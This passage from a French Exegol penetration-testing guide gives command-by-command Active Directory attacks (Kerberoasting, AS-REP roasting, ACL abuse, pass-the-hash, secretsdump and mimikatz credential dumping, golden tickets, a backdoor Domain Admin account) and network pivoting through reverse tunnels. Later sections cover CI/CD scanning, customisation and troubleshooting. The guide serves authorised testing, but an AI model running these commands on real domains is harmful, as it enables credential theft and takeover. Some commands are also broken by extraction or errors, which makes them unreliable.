Étape 4 : Exploitation de Kerberoasting

Le Kerberoasting est une technique qui cible les comptes de service avec des SPN (Service Principal Names) pour obtenir des tickets TGS que l'on peut cracker hors ligne.

```
# Identifier les comptes de service avec GetUserSPNs.py
impacket-GetUserSPNs entreprise.local/utilisateur:Password123 -
dc-ip 192.168.1.100 -request

# Cracker les tickets avec Hashcat
hashcat -m 13100 spn_hashes.txt /usr/share/wordlists/
rockyou.txt --force
```

Étape 5 : Exploitation d'AS-REP Roasting

Cette technique cible les comptes qui n'ont pas l'option "Kerberos Pre-Authentication" activée.

```
# Identifier les comptes vulnérables
impacket-GetNPUsers entreprise.local/ -usersfile users.txt -
format hashcat -outputfile asrep_hashes.txt -dc-ip 192.168.1.100

# Cracker les hashes
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/
rockyou.txt --force
```

Étape 6 : Exploitation des ACL (Access Control Lists)

Si BloodHound a identifié des chemins d'attaque basés sur des ACL mal configurées :

```
# Exemple : Ajouter un utilisateur à un groupe privilégié
impacket-addcomputer entreprise.local/
utilisateur_compromis:'MotDePasse123' -computer-name
'EVIILCOMPUTER$' -computer-pass 'EvilPassword123' -dc-ip 192.
168.1.100

# Exploitation de WriteDACL avec PowerView (via PowerShell)
$SecPassword = ConvertTo-SecureString 'MotDePasse123' -
AsPlainText -Force
$Cred = New-Object
System.Management.Automation.PSCredential('entreprise.local\utilisateur_co
$SecPassword)
```

```
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Domain Admins" -PrincipalIdentity "utilisateur_compromis"
```

Étape 7 : Mouvement latéral avec Pass-the-Hash ou Pass-the-Ticket

Une fois des hashes NTLM ou des tickets Kerberos obtenus :

```
# Pass-the-Hash avec CrackMapExec
crackmapexec smb 192.168.1.100 -u administrateur -H
'aad3b435b51404eeaad3b435b51404ee:
31d6cfe0d16ae931b73c59d7e0c089c0' --shares

# Pass-the-Hash avec WMIExec
impacket-wmiexec -hashes 'aad3b435b51404eeaad3b435b51404ee:
31d6cfe0d16ae931b73c59d7e0c089c0' entreprise.local/
administrateur@192.168.1.100
```

Étape 8 : Extraction de données sensibles

Une fois les privilèges d'administrateur de domaine obtenus :

```
# Extraction des hashes NTLM avec Secretdump
impacket-secretsdump -just-dc entreprise.local/
administrateur:'MotDePasse'@192.168.1.100

# Extraction des tickets Kerberos avec Mimikatz
# (Nécessite un accès direct à un contrôleur de domaine)
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
"exit"
```

Étape 9 : Persistance (optionnelle)

Pour maintenir l'accès au domaine :

```
# Création d'un Golden Ticket avec Mimikatz
mimikatz.exe "privilege::debug" "lsadump::dcsync /
domain:entreprise.local /user:krbtgt" "kerberos::golden /
domain:entreprise.local /sid:S-1-5-21-... /rc4:krbtgt_hash /
user:fakeadmin /ptt" "exit"

# Ajout d'un utilisateur au groupe Domain Admins
net user hacker Password123! /add /domain
net group "Domain Admins" hacker /add /domain
```

⚠ Attention : Dans un contexte de test de pénétration réel, la persistance ne doit être mise en place qu'avec l'accord explicite du client et doit être complètement documentée et nettoyée à la fin de l'engagement.

Pivoting & tunneling

Ce cas d'usage illustre comment utiliser Exegol pour pivoter à travers différents segments de réseau en utilisant diverses techniques de tunneling.

Objectif

Accéder à des segments de réseau isolés à partir d'un point d'entrée initial.

Prérequis

- Accès initial à une machine pivot
- Conteneur Exegol avec l'image "full"
- Compréhension de base des concepts de routage réseau

Étape 1 : Démarrer un conteneur Exegol

```
# Démarrer un conteneur pour le pivoting
exegol start pivoting full --privileged
```

Étape 2 : Établir un point d'entrée

Supposons que nous avons un accès SSH à une machine pivot (192.168.1.100) qui a accès à un réseau interne (10.0.0.0/24) :

```
# Se connecter à la machine pivot
ssh utilisateur@192.168.1.100

# Vérifier les interfaces réseau sur la machine pivot
ip a
ip route
```

Étape 3 : Pivoting avec SSH

La méthode la plus simple pour pivoter est d'utiliser le tunneling SSH :

```
# Créer un tunnel SOCKS via SSH
ssh -D 1080 utilisateur@192.168.1.100

# Configurer proxchains pour utiliser ce tunnel
```

```
echo "socks5 127.0.0.1 1080" > /etc/proxychains4.conf

# Utiliser proxychains pour accéder au réseau interne
proxychains nmap -sT -Pn 10.0.0.1
```

Étape 4 : Pivoting avec Chisel

Si SSH n'est pas disponible ou limité, Chisel est une excellente alternative :

```
# Sur la machine pivot (après y avoir transféré chisel)
./chisel server -p 8080 --reverse

# Sur Exegol
chisel client 192.168.1.100:8080 R:socks
```

Maintenant, vous pouvez utiliser proxychains comme précédemment.

Étape 5 : Pivoting avec Ligolo-ng

Pour des scénarios plus complexes, Ligolo-ng offre des fonctionnalités avancées :

```
# Sur Exegol (serveur proxy)
ligolo-proxy -selfcert

# Sur la machine pivot (après y avoir transféré l'agent)
./ligolo-agent -connect 192.168.1.50:11601 -ignore-cert

# Sur Exegol, dans la console Ligolo
session
start
ifconfig
# Identifier l'interface du réseau cible (ex: 10.0.0.0/24)
listener_add --addr 0.0.0.0:1080 --to 127.0.0.1:1080 --tcp
```

Étape 6 : Scan du réseau cible via le pivot

```
# Scan avec Nmap via proxychains
proxychains nmap -sT -Pn -n 10.0.0.0/24 -oA scan_interne

# Scan avec CrackMapExec via proxychains
proxychains crackmapexec smb 10.0.0.0/24
```

Étape 7 : Accès aux services internes

Une fois le réseau interne cartographié, vous pouvez accéder aux services :

```
# Accès à un serveur web interne
proxychains firefox http://10.0.0.10

# Accès à un partage SMB interne
proxychains smbclient //10.0.0.20/share -U utilisateur

# Accès RDP
proxychains xfreerdp /v:10.0.0.30 /u:utilisateur /p:password
```

Étape 8 : Pivoting en cascade

Pour pivoter à travers plusieurs réseaux :

```
# Supposons que nous avons accès à 10.0.0.50 qui peut accéder à
172.16.0.0/24
# Établir un tunnel SSH vers 10.0.0.50 via le premier pivot
proxychains ssh -D 1081 utilisateur@10.0.0.50

# Configurer un second proxychains
echo "socks5 127.0.0.1 1081" > /etc/proxychains4_second.conf


# Utiliser le second proxy pour accéder au réseau 172.16.0.0/24
proxychains4 -f /etc/proxychains4_second.conf nmap -sT -Pn 172.
16.0.1
```

Étape 9 : Transfert de port spécifique

Pour accéder à un service spécifique sans passer par SOCKS :

```
# Transfert de port avec SSH
ssh -L 8080:10.0.0.10:80 utilisateur@192.168.1.100

# Accès direct au service
curl http://localhost:8080
```

 **Astuce** : Le choix de la technique de pivoting dépend des restrictions réseau en place. SSH est souvent le plus simple, mais Chisel ou Ligolo-ng sont plus flexibles face à des restrictions strictes.

Ces cas d'usage illustrent comment Exegol peut être utilisé dans différents scénarios de test de pénétration. Les techniques présentées sont couramment utilisées dans des engagements réels, mais n'oubliez pas que chaque environnement est unique et peut nécessiter des adaptations spécifiques.

Intégration CI/CD & GitHub Actions

L'intégration d'Exegol dans des pipelines CI/CD (Intégration Continue/Déploiement Continu) permet d'automatiser les tests de sécurité et de les intégrer directement dans le cycle de développement logiciel. Cette section explique comment utiliser Exegol avec GitHub Actions pour automatiser les scans de sécurité.

Automatiser des scans Exegol

L'automatisation des scans de sécurité présente plusieurs avantages : - Détection précoce des vulnérabilités - Tests de sécurité systématiques et reproductibles - Intégration de la sécurité dans le cycle de développement (DevSecOps) - Réduction du temps consacré aux tests manuels

Prérequis

Pour intégrer Exegol dans un pipeline CI/CD, vous aurez besoin de : - Un dépôt GitHub pour votre projet - Des droits d'administration sur ce dépôt - Une compréhension de base de GitHub Actions - Des scripts de test automatisés

Étape 1 : Créer un workflow GitHub Actions

Commencez par créer un fichier de workflow dans votre dépôt GitHub :

```
mkdir -p .github/workflows
touch .github/workflows/security-scan.yml
```

Étape 2 : Configurer le workflow

Voici un exemple de configuration pour exécuter un scan Exegol automatisé :

```
name: Exegol Security Scan

on:
  push:
    branches: [ main, develop ]
  pull_request:
    branches: [ main ]
  schedule:
    - cron: '0 2 * * 1' # Tous les lundis à 2h du matin

jobs:
  security-scan:
    runs-on: ubuntu-latest
    container:
```

```

image: ghcr.io/theborgs/exegol:light
options: --privileged

steps:
- name: Checkout repository
  uses: actions/checkout@v3

- name: Install dependencies
  run: |
    apt-get update
    apt-get install -y python3-pip
    pip3 install -r requirements.txt

- name: Run security scan
  run: |
    # Exemple de scan avec Nuclei
    nuclei -u ${github.event.repository.html_url} -o
nuclei-results.txt

    # Exemple de scan avec OWASP ZAP
    zap-cli quick-scan --self-contained --start-options '-
config api.disablekey=true' $
${github.event.repository.html_url}

- name: Run SAST analysis
  run: |
    # Analyse statique de code avec Semgrep
    pip3 install semgrep
    semgrep --config=p/owasp-top-ten .

- name: Upload scan results
  uses: actions/upload-artifact@v3
  with:
    name: security-scan-results
    path: |
      nuclei-results.txt
      zap-report.html
      semgrep-results.json

```



Astuce : Adaptez les outils et les commandes en fonction de votre projet. Par exemple, utilisez des outils spécifiques pour les applications web, les API, ou les infrastructures cloud.

Étape 3 : Personnaliser les scans

Vous pouvez personnaliser les scans en fonction de vos besoins spécifiques :

Pour une application web :


```
- name: Run web application scan
run: |
    # Scan OWASP ZAP complet
    mkdir -p /zap/wrk/
    zap-full-scan.py -t ${{ github.event.repository.html_url }}
-g gen.conf -r zap-report.html

    # Scan de dépendances avec OWASP Dependency-Check
    dependency-check --scan . --out dependency-report --format
ALL
```

Pour une infrastructure cloud :

```
- name: Run cloud infrastructure scan
run: |
    # Scan Terraform avec tfsec
    pip3 install tfsec
    tfsec .

    # Scan AWS avec prowler
    pip3 install prowler
    prowler -M csv -F prowler-results
```

Étape 4 : Configurer les notifications

Pour être alerté des résultats des scans :

```
- name: Send notification
if: always()
uses: rtCamp/action-slack-notify@v2
env:
    SLACK_WEBHOOK: ${{ secrets.SLACK_WEBHOOK }}
    SLACK_CHANNEL: security-alerts
    SLACK_COLOR: ${{ job.status }}
    SLACK_TITLE: Security Scan Results
    SLACK_MESSAGE: 'Security scan completed for ${{
github.repository }}'
```

Étape 5 : Gérer les faux positifs

Les scans automatisés peuvent générer des faux positifs. Pour les gérer :

```
- name: Filter false positives
run: |
    # Utiliser un fichier de règles pour filtrer les faux
positifs
```

```
cat nuclei-results.txt | grep -v -f .security/false-positives.txt > filtered-results.txt

# Vérifier si des vulnérabilités réelles ont été trouvées
if [ -s filtered-results.txt ]; then
    echo "::warning::Security vulnerabilities detected!"
    cat filtered-results.txt
    # Optionnel : faire échouer le build
    # exit 1
fi
```

Étape 6 : Intégrer les résultats dans GitHub Security

GitHub propose des fonctionnalités de sécurité intégrées :

```
- name: Upload results to GitHub Security
  uses: github/codeql-action/upload-sarif@v2
  with:
    sarif_file: semgrep-results.sarif
```

Exemple complet : Pipeline de sécurité multi-étapes

Voici un exemple plus complet d'un pipeline de sécurité utilisant Exegol :

```
name: Comprehensive Security Pipeline

on:
  push:
    branches: [ main, develop ]
  pull_request:
    branches: [ main ]
  schedule:
    - cron: '0 2 * * 1' # Tous les lundis à 2h du matin

jobs:
  static-analysis:
    runs-on: ubuntu-latest
    container:
      image: ghcr.io/theporgs/exegol:light
    steps:
      - name: Checkout repository
        uses: actions/checkout@v3

      - name: Run SAST
        run: |
          semgrep --config=p/owasp-top-ten .

      - name: Check secrets
```

```

    run: |
        gitleaks detect --source . --report-format json --
report-path gitleaks-report.json

- name: Upload SAST results
  uses: actions/upload-artifact@v3
  with:
    name: sast-results
    path: |
        semgrep-results.json
        gitleaks-report.json

dependency-scan:
  runs-on: ubuntu-latest
  container:
    image: ghcr.io/theporgs/exegol:light
  steps:
    - name: Checkout repository
      uses: actions/checkout@v3

    - name: Scan dependencies
      run: |
        pip3 install safety
        safety check -r requirements.txt --json > safety-
results.json

    - name: Upload dependency results
      uses: actions/upload-artifact@v3
      with:
        name: dependency-results
        path: safety-results.json

dynamic-analysis:
  runs-on: ubuntu-latest
  container:
    image: ghcr.io/theporgs/exegol:full
    options: --privileged
  needs: [static-analysis, dependency-scan]
  steps:
    - name: Checkout repository
      uses: actions/checkout@v3

    - name: Deploy test environment
      run: |
        docker-compose -f docker-compose.test.yml up -d

    - name: Run DAST
      run: |
        # Attendre que l'application soit prête
        sleep 30

        # Scan avec ZAP

```

```

    zap-full-scan.py -t http://localhost:8080 -g gen.conf
-r zap-report.html

    # Scan avec Nuclei
    nuclei -u http://localhost:8080 -o nuclei-results.txt

- name: Upload DAST results
  uses: actions/upload-artifact@v3
  with:
    name: dast-results
    path: |
      zap-report.html
      nuclei-results.txt

report-generation:
  runs-on: ubuntu-latest
  needs: [dynamic-analysis]
  steps:
    - name: Download all results
      uses: actions/download-artifact@v3

    - name: Generate consolidated report
      run: |
        # Script pour consolider les résultats
        python3 .security/generate-report.py

    - name: Upload final report
      uses: actions/upload-artifact@v3
      with:
        name: security-report
        path: security-report.pdf


    - name: Send notification
      if: always()
      uses: rtCamp/action-slack-notify@v2
      env:
        SLACK_WEBHOOK: ${ secrets.SLACK_WEBHOOK }
        SLACK_CHANNEL: security-alerts
        SLACK_COLOR: ${ job.status }
        SLACK_TITLE: Security Scan Results
        SLACK_MESSAGE: 'Comprehensive security scan completed
for ${ github.repository }'
```

Bonnes pratiques pour l'intégration CI/CD

Pour tirer le meilleur parti de l'intégration d'Exegol dans vos pipelines CI/CD :

1. **Adaptez les scans à votre contexte** : Choisissez les outils et les configurations qui correspondent à votre technologie et à vos risques spécifiques.

2. **Gérez les faux positifs** : Maintenez une liste de faux positifs connus pour éviter les alertes inutiles.
3. **Définissez des seuils de gravité** : Décidez quels types de vulnérabilités doivent faire échouer le build et lesquels doivent simplement générer des avertissements.
4. **Optimisez les performances** : Les scans complets peuvent être longs. Exécutez les scans légers à chaque commit et les scans complets périodiquement.
5. **Stockez l'historique des résultats** : Conservez les résultats des scans précédents pour suivre l'évolution de la sécurité de votre projet.
6. **Automatisez la correction** : Pour certaines vulnérabilités courantes, envisagez d'automatiser la création de pull requests correctives.
7. **Documentez les exceptions** : Si certaines vulnérabilités sont acceptées, documentez-les clairement avec une justification et une date de révision.

 **Attention** : Les scans automatisés ne remplacent pas les tests de pénétration manuels. Ils constituent une première ligne de défense, mais des tests approfondis par des experts restent nécessaires pour une sécurité complète.

Limites et considérations

L'intégration d'Exegol dans des pipelines CI/CD présente certaines limites :

- **Ressources limitées** : Les environnements CI/CD ont souvent des ressources limitées, ce qui peut affecter les performances des scans intensifs.
- **Accès réseau** : Certains tests nécessitent un accès réseau spécifique qui peut ne pas être disponible dans l'environnement CI/CD.
- **Authentification** : Les tests nécessitant une authentification peuvent être difficiles à automatiser de manière sécurisée.
- **Faux positifs** : Les outils automatisés génèrent souvent des faux positifs qui nécessitent une vérification manuelle.

Pour contourner ces limitations, envisagez de : - Exécuter les scans les plus intensifs sur des runners auto-hébergés avec plus de ressources - Utiliser des environnements de test dédiés pour les tests dynamiques - Implémenter une gestion robuste des secrets pour l'authentification - Développer des scripts de post-traitement pour filtrer les faux positifs connus

L'intégration d'Exegol dans vos pipelines CI/CD est une étape importante vers une approche DevSecOps, où la sécurité est intégrée dès le début du cycle de développement plutôt qu'ajoutée à la fin.

Personnalisation avancée

Exegol est conçu pour être hautement personnalisable afin de s'adapter à vos besoins spécifiques. Cette section explore les différentes façons de personnaliser votre environnement Exegol, de l'ajout de nouveaux outils à la configuration de votre environnement de travail.

Ajout de nouveaux outils via Dockerfile.local

Bien qu'Exegol soit livré avec une large gamme d'outils préinstallés, vous pourriez avoir besoin d'ajouter vos propres outils ou des outils spécifiques qui ne sont pas inclus par défaut.

Création d'un Dockerfile.local

Le moyen le plus propre d'ajouter des outils personnalisés est de créer un `Dockerfile.local` qui étend l'image Exegol de base :

1. Créez un fichier `Dockerfile.local` dans votre répertoire de travail :

```
touch ~/.exegol/Dockerfile.local
```

1. Éditez ce fichier pour ajouter vos outils personnalisés :

```
# Dockerfile.local
FROM exegol:full

# Installer des paquets supplémentaires
RUN apt-get update && apt-get install -y \
    package1 \
    package2 \
    && rm -rf /var/lib/apt/lists/*

# Installer des outils Python
RUN pip3 install \
    tool1 \
    tool2

# Cloner et installer un outil depuis GitHub
RUN git clone https://github.com/author/tool.git /opt/tools/
    tool \
    && cd /opt/tools/tool \
    && pip3 install -r requirements.txt

# Ajouter un script personnalisé
COPY ./scripts/my-script.sh /opt/tools/my-script.sh
```

```
RUN chmod +x /opt/tools/my-script.sh
```

```
# Ajouter un alias
```


```
RUN echo 'alias mytool="/opt/tools/my-script.sh"' >> /  
root/.zshrc
```

1. Construisez votre image personnalisée :

```
exegol install --build-from-dockerfile ~/.exegol/  
Dockerfile.local --tag custom
```

1. Utilisez votre image personnalisée :

```
exegol start my-custom-container custom
```

 **Astuce** : Vous pouvez créer plusieurs Dockerfiles personnalisés pour différents cas d'usage, par exemple un pour les tests web, un autre pour les tests Active Directory, etc.

Exemple concret : Ajout d'outils de forensique

Voici un exemple de `Dockerfile.local` qui ajoute des outils de forensique à Exegol :

```
FROM exegol:full
```

```
# Installer des outils de forensique
```

```
RUN apt-get update && apt-get install -y \  
autopsy \  
sleuthkit \  
volatility \  
foremost \  
scalpel \  
&& rm -rf /var/lib/apt/lists/*
```

```
# Installer Volatility 3
```

```
RUN git clone https://github.com/volatilityfoundation/  
volatility3.git /opt/tools/volatility3 \  
&& cd /opt/tools/volatility3 \  
&& pip3 install -r requirements.txt \  
&& pip3 install .
```

```
# Installer DFIR-ORC
```

```
RUN mkdir -p /opt/tools/dfir-orc \  
&& wget -q -O /opt/tools/dfir-orc/dfir-orc.zip https://  
github.com/DFIR-ORC/dfir-orc/releases/latest/download/DFIR-  
ORC_x64.zip \  
&& unzip dfir-orc.zip
```

```
&& unzip /opt/tools/dfir-orc/dfir-orc.zip -d /opt/tools/dfir-orc \
&& rm /opt/tools/dfir-orc/dfir-orc.zip

# Ajouter des alias pour les outils
RUN echo 'alias vol3="python3 /opt/tools/volatility3/vol.py"'
>> /root/.zshrc \
&& echo 'alias orc="/opt/tools/dfir-orc/orc.exe"' >> /root/.zshrc
```

Gestion des modules Python

Python est largement utilisé dans le domaine de la sécurité, et vous pourriez avoir besoin d'installer ou de mettre à jour des modules Python spécifiques.

Installation de modules Python

Pour installer des modules Python dans un conteneur Exegol :

```
# Installation simple
pip3 install module_name

# Installation d'une version spécifique
pip3 install module_name==1.2.3

# Installation depuis GitHub
pip3 install git+https://github.com/author/module.git
```

Pour rendre ces installations permanentes, ajoutez-les à votre `Dockerfile.local` comme montré précédemment.

Environnements virtuels Python

Pour éviter les conflits de dépendances, vous pouvez utiliser des environnements virtuels Python :

```
# Créer un environnement virtuel
python3 -m venv /workspace/venvs/my-env

# Activer l'environnement
source /workspace/venvs/my-env/bin/activate

# Installer des modules dans l'environnement
pip install module1 module2
```



```
# Désactiver l'environnement quand vous avez terminé  
deactivate
```

💡 **Astuce** : Créez un alias pour activer rapidement vos environnements virtuels :

```
bash echo 'alias activate-myenv="source /workspace/venvs/my-  
env/bin/activate"' >> ~/.zshrc
```

Personnalisation de l'environnement shell

Exegol utilise ZSH avec Oh-My-ZSH comme shell par défaut. Vous pouvez personnaliser cet environnement pour améliorer votre productivité.

Configuration de ZSH

Pour personnaliser votre configuration ZSH :

1. Créez ou modifiez le fichier `.zshrc` dans votre dossier `my-resources` :

```
nano ~/.exegol/my-resources/.zshrc
```

1. Ajoutez vos personnalisations :

```
# Alias personnalisés  
alias ll='ls -la'  
alias update='apt update && apt upgrade -y'  
alias scan='nmap -sV -sC'  
  
# Variables d'environnement  
export PATH=$PATH:/opt/my-tools/bin  
export EDITOR=nano  
  
# Plugins Oh-My-ZSH supplémentaires  
plugins=(git docker kubectl python pip)  
  
# Thème personnalisé  
ZSH_THEME="agnoster"
```

1. Redémarrez votre shell ou votre conteneur pour appliquer les changements.

Personnalisation du prompt

Pour personnaliser votre prompt ZSH :

```
# Dans ~/.exegol/my-resources/.zshrc  
PROMPT='%{$fg[cyan]}[%n@m]%{$reset_color%} %{$fg[yellow]}%~%
```

```
{${reset_color%}} $(git_prompt_info)
%{$fg[red]%}→%{$reset_color%} '
```

Configuration de Tmux

Exegol utilise Tmux pour la gestion des sessions de terminal. Pour personnaliser Tmux :

1. Créez un fichier `.tmux.conf` dans votre dossier `my-resources` :

```
nano ~/.exegol/my-resources/.tmux.conf
```

1. Ajoutez vos personnalisations :

```
# Changer le préfixe de Ctrl+b à Ctrl+a
unbind C-b
set-option -g prefix C-a
bind-key C-a send-prefix

# Activer la souris
set -g mouse on

# Augmenter l'historique
set -g history-limit 10000

# Personnaliser la barre de statut
set -g status-bg black
set -g status-fg white
set -g status-left '[fg=green](#S) '
set -g status-right '[fg=yellow]#(cut -d " " -f 1-3 /proc/
loadavg)#[default] #[fg=white]%H:%M#[default]'
```

1. Redémarrez Tmux ou votre conteneur pour appliquer les changements.

Personnalisation des ressources partagées

Exegol utilise deux dossiers principaux pour les ressources partagées : - `/opt/resources` : Ressources officielles d'Exegol, partagées entre tous les conteneurs - `/opt/my-resources` : Vos ressources personnelles, également partagées entre tous les conteneurs

Ajout de scripts personnalisés

Pour ajouter vos propres scripts :

1. Créez un dossier pour vos scripts dans `my-resources` :

```
mkdir -p ~/.exegol/my-resources/scripts
```

1. Ajoutez vos scripts :

```
# Exemple de script de reconnaissance
cat > ~/.exegol/my-resources/scripts/recon.sh << 'EOF'
#!/bin/bash
# Script de reconnaissance rapide
echo "[+] Démarrage de la reconnaissance pour $1"
echo "[+] Scan Nmap"
nmap -sV -sC $1
echo "[+] Énumération des sous-domaines"
subfinder -d $1
echo "[+] Scan des vulnérabilités web"
nuclei -u $1
echo "[+] Reconnaissance terminée"
EOF

# Rendre le script exécutable
chmod +x ~/.exegol/my-resources/scripts/recon.sh
```

1. Créez un alias pour faciliter l'utilisation :

```
echo 'alias recon="/opt/my-resources/scripts/recon.sh"' >>
~/.exegol/my-resources/.zshrc
```

Organisation des ressources

Pour une meilleure organisation de vos ressources personnelles :

```
# Structure recommandée
mkdir -p ~/.exegol/my-resources/wordlists      # Listes de mots
personnalisées
mkdir -p ~/.exegol/my-resources/scripts        # Scripts
personnalisés
mkdir -p ~/.exegol/my-resources/tools          # Outils
personnalisés
mkdir -p ~/.exegol/my-resources/configs        # Fichiers de
configuration
mkdir -p ~/.exegol/my-resources/templates     # Modèles de
rapports, etc.
```

Personnalisation des espaces de travail

Les espaces de travail Exegol (`/workspace`) sont spécifiques à chaque conteneur et persistent même après l'arrêt du conteneur.

Organisation des espaces de travail

Pour une organisation efficace :

```
# Structure recommandée pour un espace de travail
mkdir -p /workspace/scans          # Résultats de scans
mkdir -p /workspace/exploits       # Exploits personnalisés
mkdir -p /workspace/loot           # Données extraites
mkdir -p /workspace/reports        # Rapports
mkdir -p /workspace/evidence       # Preuves et captures d'écran
```

Création de modèles de rapports

Pour standardiser vos rapports :

```
# Créer un modèle de rapport en Markdown
cat > /workspace/templates/report-template.md << 'EOF'
# Rapport de test d'intrusion

## Informations générales
- **Client :** [Nom du client]
- **Date :** [Date]
- **Testeur :** [Votre nom]
- **Périmètre :** [Description du périmètre]

## Résumé exécutif
[Résumé des principales découvertes et recommandations]

## Méthodologie
[Description de la méthodologie utilisée]

## Découvertes
### Vulnérabilité 1
- **Sévérité :** [Critique/Élevée/Moyenne/Faible]
- **Description :** [Description de la vulnérabilité]
- **Preuve de concept :** [Comment la vulnérabilité a été exploitée]
- **Impact :** [Impact potentiel]
- **Recommandation :** [Comment corriger]

[...]

## Conclusion
```

```
[Conclusion générale]
EOF
```

Création d'images personnalisées complètes

Pour des besoins très spécifiques, vous pouvez créer votre propre image Exegol à partir de zéro.

Cloner le dépôt Exegol-images

```
git clone https://github.com/ThePorgs/exegol-images.git
cd exegol-images
```

Modifier les fichiers de construction

1. Créez un nouveau dossier pour votre image :

```
mkdir -p images/my-custom-image
```

1. Créez un fichier `Dockerfile` :

```
cat > images/my-custom-image/Dockerfile << 'EOF'
FROM debian:bullseye-slim

# Installation des dépendances de base
RUN apt-get update && apt-get install -y \
    git \
    curl \
    wget \
    python3 \
    python3-pip \
    zsh \
    tmux \
    && rm -rf /var/lib/apt/lists/*

# Configuration de ZSH
RUN sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"

# Installation des outils spécifiques
RUN pip3 install impacket bloodhound

# Configuration de l'environnement
WORKDIR /workspace
```

```
CMD ["/bin/zsh"]  
EOF
```

1. Construisez votre image :

```
./build.sh my-custom-image
```

1. Utilisez votre image avec Exegol :

```
exegol install --source local --tag my-custom-image  
exegol start my-container my-custom-image
```

Intégration avec des outils externes

Exegol peut être intégré avec des outils externes pour améliorer votre flux de travail.

Intégration avec Visual Studio Code

Pour développer et tester du code directement dans Exegol :

1. Installez l'extension "Remote - Containers" dans VS Code
2. Créez un fichier `.devcontainer.json` dans votre projet :

```
{  
  "name": "Exegol Development",  
  "image": "ghcr.io/theborgs/exegol:full",  
  "extensions": [  
    "ms-python.python",  
    "ms-python.vscode-pylance",  
    "redhat.vscode-yaml"  
  ],  
  "settings": {  
    "terminal.integrated.shell.linux": "/bin/zsh"  
  },  
  "mounts": [  
    "source=${localWorkspaceFolder},target=/workspace,type=bind,consistency=cached"  
  ]  
}
```

1. Ouvrez votre projet dans VS Code et sélectionnez "Reopen in Container"

Intégration avec Burp Suite

Pour utiliser Burp Suite avec Exegol :

1. Démarrez Exegol avec l'option GUI :

```
exegol start web-testing full --X
```

1. Dans le conteneur, lancez Burp Suite :

```
burpsuite &
```

1. Configurez Firefox pour utiliser le proxy Burp :
2. Ouvrez Firefox : `firefox &`
3. Allez dans Préférences > Réseau > Paramètres
4. Configurez le proxy manuel : 127.0.0.1:8080

La personnalisation d'Exegol vous permet d'adapter l'environnement à vos besoins spécifiques et d'optimiser votre flux de travail. Que vous ajoutiez de nouveaux outils, personnalisiez votre shell ou créiez des images entièrement nouvelles, Exegol offre la flexibilité nécessaire pour répondre à vos exigences.

Dépannage & FAQ

Cette section aborde les problèmes courants que vous pourriez rencontrer lors de l'utilisation d'Exegol et propose des solutions pour les résoudre. Elle répond également aux questions fréquemment posées par les utilisateurs.

Problèmes courants

Problèmes d'installation

Problème : Erreur lors de l'installation d'Exegol

```
ERROR: Command errored out with exit status 1: python setup.py  
egg_info Check the logs for full command output.
```

Solution :

```
# Mettre à jour pip  
pip3 install --upgrade pip
```

```
# Installer les dépendances requises
sudo apt install -y python3-dev build-essential

# Réessayer l'installation
pip3 install exegol
```

Problème : Erreur de permission Docker

```
ERROR: Got permission denied while trying to connect to the
Docker daemon socket
```

Solution :

```
# Ajouter l'utilisateur au groupe docker
sudo usermod -aG docker $USER

# Se déconnecter et se reconnecter, ou exécuter
newgrp docker

# Vérifier que l'utilisateur est bien dans le groupe docker
groups
```

Problème : Échec du téléchargement de l'image Docker

```
ERROR: Failed to pull image ghcr.io/theborgs/exegol:full
```

Solution :

```
# Vérifier la connexion internet
ping -c 4 ghcr.io

# Vérifier l'espace disque disponible
df -h

# Essayer de télécharger manuellement l'image
docker pull ghcr.io/theborgs/exegol:full

# Si le problème persiste, essayer une autre image plus légère
exegol install light
```

Problèmes de démarrage

Problème : Le conteneur ne démarre pas


```
ERROR: Error response from daemon: driver failed programming external connectivity
```

Solution :

```
# Vérifier si le port est déjà utilisé
sudo netstat -tulpn | grep <port>

# Redémarrer le service Docker
sudo systemctl restart docker

# Essayer de démarrer avec un autre port
exegol start mon-conteneur full --port 8081:80
```

Problème : Erreur de montage des volumes

```
ERROR: Error response from daemon: error while creating mount
source path: mkdir /home/user/.exegol: permission denied
```

Solution :

```
# Vérifier les permissions du dossier
ls -la ~/.exegol

# Corriger les permissions
sudo chown -R $USER:$USER ~/.exegol

# Créer le dossier s'il n'existe pas
mkdir -p ~/.exegol
```

Problèmes réseau

Problème : Pas d'accès réseau depuis le conteneur

Solution :

```
# Vérifier la configuration réseau de Docker
docker network ls

# Vérifier la configuration réseau du conteneur
docker inspect <container_id> | grep -A 20 "NetworkSettings"

# Redémarrer avec l'option réseau hôte (Linux uniquement)
```

```
exegol stop mon-conteneur  
exegol start mon-conteneur full --host-network
```

Problème : Impossible d'accéder à Internet depuis le conteneur

Solution :

```
# Vérifier la configuration DNS  
cat /etc/resolv.conf  
  
# Ajouter des serveurs DNS publics  
echo "nameserver 8.8.8.8" >> /etc/resolv.conf  
echo "nameserver 1.1.1.1" >> /etc/resolv.conf  
  
# Vérifier les règles de pare-feu  
sudo iptables -L
```

Problèmes d'interface graphique

Problème : L'interface graphique ne fonctionne pas

Solution :

Sur Linux :

```
# Vérifier que X11 est installé  
which xhost  
  
# Autoriser les connexions locales à X  
xhost +local:  
  
# Redémarrer avec l'option X  
exegol start mon-conteneur full --X
```

Sur macOS :

```
# Installer XQuartz  
brew install --cask xquartz  
  
# Lancer XQuartz  
open -a XQuartz  
  
# Dans les préférences XQuartz, activer "Allow connections from  
network clients"  
# Redémarrer XQuartz  
  
# Autoriser les connexions locales
```

```
xhost +localhost

# Redémarrer avec l'option X
exegol start mon-conteneur full --X
```

Sur Windows :

```
# Installer VcXsrv
# Lancer XLaunch avec les options :
# - Multiple windows
# - Display number: 0
# - Start no client
# - Cocher "Disable access control"

# Redémarrer avec l'option X et la variable DISPLAY correcte
exegol start mon-conteneur full --X
```

Problèmes d'outils spécifiques

Problème : Certains outils ne fonctionnent pas

Solution :

```
# Vérifier si l'outil est installé
which <outil>

# Vérifier les dépendances
ldd $(which <outil>)

# Mettre à jour l'outil
apt update && apt install -y <outil>

# Pour les outils Python
pip3 install --upgrade <outil>

# Pour les outils GitHub
cd /opt/tools/<outil> && git pull
```

Problème : Erreurs avec les outils graphiques

Solution :

```
# Vérifier les variables d'environnement X11
echo $DISPLAY

# Exécuter avec strace pour voir les erreurs
strace -e trace=open <outil> 2>&1 | grep -i error
```

```
# Installer les bibliothèques manquantes
apt update && apt install -y libxcb-xinerama0 libxcb-icccm4
libxcb-image0
```

Solutions rapides

Réinitialisation d'Exegol

